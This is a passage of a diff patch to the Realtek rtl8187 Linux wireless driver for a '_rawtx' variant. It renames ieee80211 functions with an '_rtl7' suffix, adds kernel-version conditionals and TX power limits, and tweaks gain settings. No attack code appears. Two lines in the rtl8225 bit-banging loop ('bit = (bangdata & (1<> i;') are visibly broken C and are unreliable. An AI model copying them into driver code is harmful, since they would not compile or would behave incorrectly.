+ * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-01-30 17:38:11.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) 